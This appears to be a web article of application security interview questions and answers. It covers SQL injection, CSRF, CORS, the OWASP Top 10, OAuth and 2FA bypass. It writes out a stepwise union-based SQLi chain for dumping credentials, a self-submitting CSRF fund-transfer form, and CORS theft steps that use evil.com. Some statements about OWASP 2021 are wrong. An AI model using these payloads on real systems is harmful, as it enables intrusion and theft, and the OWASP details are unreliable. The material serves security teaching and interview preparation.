Application Security Interview Questions

Are you preparing for an Application Security Interview? This curated list of Application Security Interview Questions includes XSS mitigation, API, threat modeling steps, and remediation strategies

1. What is Application Security (AppSec)?

Application Security (AppSec) focuses on securing software by identifying, fixing, and preventing vulnerabilities (e.g., SQLi, XSS) in code, APIs, and dependencies.
Practices include threat modeling, secure coding, SAST/DAST tools, penetration testing, and compliance with OWASP Top 10.
Ensures data protection, access control, and secure SDLC integration.

2. Application Security Interview Topics

Core: Secure coding (input validation, encryption), OWASP vulnerabilities (CSRF, SSRF), threat modeling, SAST/DAST tools (Burp Suite, Checkmarx).
Frameworks: DevSecOps, CI/CD security, compliance (GDPR, PCI-DSS).
Concepts: Authentication (OAuth, JWT), session management, API security (rate limiting, GraphQL risks).
Advanced: Cloud-native security (AWS/Azure), container vulnerabilities, dependency scanning (SCA).
Scenario-Based: Code review critiques, breach response, risk prioritization.

1. What is SQLi?

SQL Injection (SQLi) is a web security vulnerability where attackers inject malicious SQL code into application queries to manipulate databases. This occurs when user inputs (e.g., form fields, URL parameters) are not properly sanitized.

Successful SQLi can lead to unauthorized data access (e.g., stealing credentials), data modification, or even full database control. Common attack vectors include login forms, search bars, or URL parameters.

For example, inputting ' OR 1=1-- into a username field might bypass authentication.
SQLi is categorized into Union-based, Error-based, Boolean-based, and Time-based attacks, depending on exploitation techniques.

2. Did you find the SQLi? How did you find that?

To detect SQLi, I first identify input points (e.g., URL parameters, forms) and test them with payloads like ', ", or ; to trigger errors.
If the application returns database errors (e.g., MySQL syntax errors), it suggests poor input sanitization.
Next, I use boolean-based payloads (e.g., ' OR 1=1-- vs. ' OR 1=2--) to observe behavioral differences (e.g., login bypass).
Tools like Burp Suite automate fuzzing, while manual testing involves analyzing responses for anomalies.

For example, appending ORDER BY 1-- to a parameter and incrementing the number (ORDER BY 5--) until an error occurs reveals the column count.

3. Parameter ID=1; How do you exploit? First approach? Tell us step by step.

Test for Vulnerability: Append ' to the parameter:
http://example.com/page?id=1'
If an error occurs, SQLi is likely.
Determine Column Count: Use ORDER BY:
id=1' ORDER BY 1-- (increment until error; e.g., ORDER BY 5--).
Union-Based Exploitation:
id=1' UNION SELECT 1,2,3-- (match column count).
Extract Data: Replace numbers with database functions:
id=1' UNION SELECT version(), database(), user()--.
Dump Tables: Query information_schema.tables:
id=1' UNION SELECT table_name, NULL FROM information_schema.tables--.
Retrieve Credentials: Target the users table:
id=1' UNION SELECT username, password FROM users--

4. User Table, Admin User? How to Find Columns, Tables, and Payloads?

Column Count: Use ORDER BY (e.g., ORDER BY 3--).
Identify Tables: Query information_schema.tables:
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()--.
Find Admin User: Assuming columns username and password:
' UNION SELECT username, password FROM users WHERE role='admin'--.
Payload: id=1' UNION SELECT NULL, username || ':' || password FROM users--.
Tools: SQLMap automates this, but manual exploitation uses UNION SELECT and concatenation operators (|| in SQLite).

5. CSRF Exploit in Fund Transfer Without Burp Suite

Craft a Malicious HTML Form:

<form action="https://bank.com/transfer" method="POST">  
  <input type="hidden" name="amount" value="1000">  
  <input type="hidden" name="account" value="ATTACKER_ACCOUNT">  
</form>  
<script>document.forms[0].submit();</script>

Trick the User: Send the victim a link to this page (e.g., phishing email).
Exploit Lack of CSRF Tokens: If the app doesn’t validate tokens, the victim’s browser automatically submits the form with their session cookies.
Manual Testing: Use the browser console to replicate POST requests or create a self-submitting form.

Input Validation: Test for SQLi (' OR 1=1--), XSS (<script>alert(1)</script>), and credential stuffing.
Brute Force: Check rate-limiting (e.g., account lockout after 5 failed attempts).
Password Policies: Verify complexity rules (e.g., 12+ chars, special symbols).
Error Messages: Ensure they don’t leak info (e.g., “Invalid username” vs. “Invalid password”).
Session Management: Test for session fixation, token expiration, and HTTPS enforcement.
Multi-Factor Authentication (MFA): Validate bypass (e.g., reusing OTPs).
Account Recovery: Test security questions for enumeration (e.g., “Email not found”).
Third-Party Auth: Check OAuth/SSO misconfigurations (e.g., open redirects).

7. OWASP Top 10 – 2017 vs. 2021 Differences

2017: Included XML External Entities (XXE) and Insecure Deserialization.
2021: Added Insecure Design (flawed architecture) and Software and Data Integrity Failures (e.g., insecure CI/CD).
Renamed/Merged:
- A3:2017 (Sensitive Data Exposure) → A02:2021 (Cryptographic Failures).
- A10:2017 (Insufficient Logging) → A09:2021 (Security Logging Failures).
New in 2021: Server-Side Request Forgery (SSRF) and Server-Side Template Injection.
Removed: Cross-Site Request Forgery (CSRF) (now part of broader categories).

8. Two Examples of Insecure Design

Password Reset Flaw: A system allows password reset without verifying user identity (e.g., answering “favorite pet” with public info).
Business Logic Bypass: An e-commerce app lets users apply discounts infinitely due to no server-side validation (e.g., modifying discount=100% in API requests).

9. CORS Exploitation

Misconfiguration: If Access-Control-Allow-Origin: *, attackers can steal data via malicious sites.
Steps to Exploit:
1. Host a script on evil.com that fetches sensitive data from vulnerable-site.com/api/userData.
2. Bypass CORS via Origin: null or reflected origins.
3. Extract credentials using JavaScript.
Impact: Data theft, session hijacking.
Fix: Restrict origins, validate headers, and avoid wildcards.

10. HTTP and HTTPS websites? What scenario will you test?

HTTP transmits data in plaintext, while HTTPS encrypts traffic via TLS/SSL.

Test scenarios:

Encryption Check: Verify HTTPS enforcement (e.g., HTTP → HTTPS redirects, HSTS headers).
Mixed Content: Ensure no HTTP resources (images, scripts) load on HTTPS pages.
Certificate Validity: Test for expired/misconfigured certificates.
Protocol Downgrade: Attempt to force HTTP via tampering (e.g., stripping attacks).
Cookie Security: Confirm session cookies are marked Secure and not sent over HTTP.
Tool Use: Use Wireshark or Burp Suite to intercept unencrypted traffic on HTTP endpoints.

Attributes:
- Secure: Sent only over HTTPS.
- HttpOnly: Blocks JavaScript access (prevents XSS theft).
- SameSite: Restricts cross-origin requests (Strict, Lax, None).
- Domain/Path: Limits cookie scope.
Testing:
- Check for missing Secure flag on HTTPS sites (exposes cookies to sniffing).
- Validate SameSite settings to prevent CSRF.
- Use browser dev tools to inspect cookies for misconfigurations.

12. OAuth Misconfiguration

Common flaws in OAuth 2.0/OpenID Connect:

Improper Redirect URI Validation: Allows attackers to steal auth codes via open redirects.
Missing state Parameter: Enables CSRF on OAuth flow.
Exposed Client Secrets: Hardcoded in frontend code.
Overly Broad Scopes: Unnecessary permissions (e.g., read:all).
Testing:
- Tamper with redirect_uri to point to attacker domains.
- Check if state is random and validated.
- Inspect JS/CSS for embedded secrets.

13. 2FA Bypass Techniques

Session Fixation: Reuse pre-2FA session tokens post-authentication.
Code Reuse: Replay old OTPs (no rate limiting).
API Bypass: Directly call post-2FA endpoints without completing 2FA.
Social Engineering: Phish 2FA codes via fake SMS/emails.
SIM Swapping: Hijack SMS-based 2FA via carrier fraud.
Testing:
- Intercept and replay 2FA requests (Burp Repeater).
- Check if 2FA can be skipped by altering parameters (e.g., 2fa_enabled=false).

Table of Contents

1. What is Application Security (AppSec)?

2. Application Security Interview Topics